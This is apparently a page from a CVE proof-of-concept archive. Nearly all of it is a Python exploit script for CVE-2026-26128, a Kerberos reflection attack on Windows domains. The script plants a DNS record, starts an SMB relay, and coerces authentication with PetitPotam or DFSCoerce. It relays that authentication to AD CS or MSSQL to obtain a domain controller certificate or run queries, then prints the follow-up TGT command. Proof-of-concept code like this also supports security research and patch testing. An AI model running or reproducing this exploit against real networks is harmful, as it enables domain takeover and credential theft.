5465 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / CVE-2026-26128.py PY
import argparse
import logging
import os
import sys
import time

from impacket.examples import logger
from impacket.examples.utils import parse_identity
from impacket.examples.ntlmrelayx.attacks import PROTOCOL_ATTACKS
from impacket.examples.ntlmrelayx.utils.targetsutils import TargetsProcessor

from lib.servers import SMBRelayServer
from lib.clients import PROTOCOL_CLIENTS
from lib.utils.config import KrbRelayxConfig
from lib.coerce.petitpotam import PetitPotam
from lib.coerce.dfscoerce import DFSCoerce
from lib.dns.dns import DNSTool
from lib.utils.utils import parse_target, unicode

COERCERS = {
    'petitpotam': PetitPotam,
    'dfscoerce':  DFSCoerce,
}

def countdown(seconds):
    for remaining in range(seconds, 0, -1):
        sys.stdout.write(f'\r[*] Waiting for DNS propagation... {remaining}s')
        sys.stdout.flush()
        time.sleep(1)
    sys.stdout.write('\r[*] DNS propagation complete\n')
    sys.stdout.flush()

def start_relay_server(options, target_url, hostname):
    c = KrbRelayxConfig()
    c.setProtocolClients(PROTOCOL_CLIENTS)
    c.setTargets(TargetsProcessor(singleTarget=target_url, protocolClients=PROTOCOL_CLIENTS))
    c.setMode('RELAY')
    c.setAttacks(PROTOCOL_ATTACKS)
    c.setLootdir(options.lootdir)
    c.setSMB2Support(True)
    c.setInterfaceIp(options.listener)
    c.setIsADCSAttack('certsrv' in target_url)
    c.setADCSOptions(options.template)
    c.setIPv6(False)
    c.setWpadOptions(None, None)
    c.setEncoding('utf-8')
    c.setExeFile(None)
    c.setCommand(None)
    c.setEnumLocalAdmins(False)
    c.setLDAPOptions(False, False, False, False, None, None, False, False, False, False, False)
    c.setKrbOptions('ccache', hostname.split('.')[0].upper() + '$') # added some parsing
    c.setAuthOptions(None, None, None, None, None, False)
    c.setMSSQLOptions(options.query)
    c.setInteractive(False)

    server = SMBRelayServer(c)
    server.start()
    return server


def exploit(options, domain, username, password):

    # Parsing
    hostname = parse_target(options.target)
    if not hostname:
        parser.error(f"invalid target URL: {options.target}")

    if 'mssql' in options.target.lower() and not options.query:
        parser.error("MSSQL target requires -q/--query argument")
    unicode_fqdn = unicode(hostname)

    os.makedirs(options.lootdir, exist_ok=True)
    dns = DNSTool(domain, username, password, options.dc_ip)
    if not dns.add(unicode_fqdn, options.listener):
        logging.error("Failed to add DNS record, aborting")
        sys.exit(1)

    try:
        countdown(options.sleep)

        start_relay_server(options, options.target, hostname)

        COERCERS[options.method](
            username=username,
            password=password,
            domain=domain,
            dc_ip=options.dc_ip,
            listener=unicode_fqdn,
            target=hostname
        ).coerce()

        if 'certsrv' in options.target:
            pfx = os.path.abspath(os.path.join(options.lootdir, f"{hostname.split('.')[0].upper()}.pfx"))
            print(f"\n[*] Waiting for certificate...")
            while not os.path.exists(pfx):
                time.sleep(1)
            print(f"\n[*] To request a TGT using PKINIT run:")
            print(f"\tpython3 gettgtpkinit.py {domain}/{hostname.split('.')[0].upper()}$ -cert-pfx {pfx} -dc-ip {options.dc_ip} out.ccache\n")

        sys.stdin.read()

    except KeyboardInterrupt:
        print()
    finally:
        dns.remove(unicode_fqdn)


if __name__ == '__main__':
    parser = argparse.ArgumentParser(add_help=True, description="CVE-2026-26128 - Kerberos Reflection via Unicode SPN bypass")

    parser.add_argument('identity', action='store', help='[domain/]username[:password]')
    parser.add_argument('-t', '--target', action='store', required=True,
                        help='Relay target (e.g. http://contoso-dc.contoso.com/certsrv/certfnsh.asp or mssql://host)')
    parser.add_argument('-l', '--listener', action='store', required=True,
                        help='Attacker IP to listen on')
    parser.add_argument('-m', '--method', action='store', default='petitpotam',
                        choices=['petitpotam', 'dfscoerce'],
                        help='Coercion method (default: petitpotam)')
    parser.add_argument('-s', '--sleep', action='store', type=int, default=180, metavar='seconds',
                        help='Seconds to wait for DNS propagation (default: 150)')
    parser.add_argument('--lootdir', action='store', default='.', metavar='DIR',
                        help='Output directory (default: .)')
    parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output')
    parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')

    group = parser.add_argument_group('authentication')
    group.add_argument('-hashes', action='store', metavar='LMHASH:NTHASH',
                       help='NTLM hashes, format is LMHASH:NTHASH')
    group.add_argument('-no-pass', action='store_true', help="Don't ask for password")
    group.add_argument('-k', action='store_true', help='Use Kerberos authentication via ccache (KRB5CCNAME)')
    group.add_argument('-dc-ip', action='store', metavar='ip address', required=True,
                       help='IP Address of the domain controller')

    adcs = parser.add_argument_group('adcs')
    adcs.add_argument('--template', action='store', metavar='TEMPLATE', default='DomainController',
                      help='AD CS certificate template (default: DomainController)')

    mssql = parser.add_argument_group('mssql')
    mssql.add_argument('-q', '--query', action='append', metavar='QUERY', default=None,
                       help='MSSQL query to execute (can specify multiple)')

    if len(sys.argv) == 1:
        parser.print_help()
        print("\nExamples: ")
        print("\t./CVE-2026-26128.py contoso.com/user:pass -t http://contoso-dc.contoso.com/certsrv/certfnsh.asp -l 192.168.1.80 -dc-ip 192.168.1.10")
        print("\t./CVE-2026-26128.py contoso.com/user:pass -t mssql://contoso-sql.contoso.com -l 192.168.1.80 -dc-ip 192.168.1.10 -q 'SELECT @@version'\n")
        sys.exit(1)

    options = parser.parse_args()
    logger.init(options.ts, options.debug)

    domain, username, password, _, _, options.k = parse_identity(
        options.identity, options.hashes, options.no_pass, options.k)

    if domain is None:
        logging.critical('Domain should be specified!')
        sys.exit(1)

    try:
        exploit(options, domain, username, password)
    except Exception as e:
        if logging.getLogger().level == logging.DEBUG:
            import traceback
            traceback.print_exc()
        print(str(e))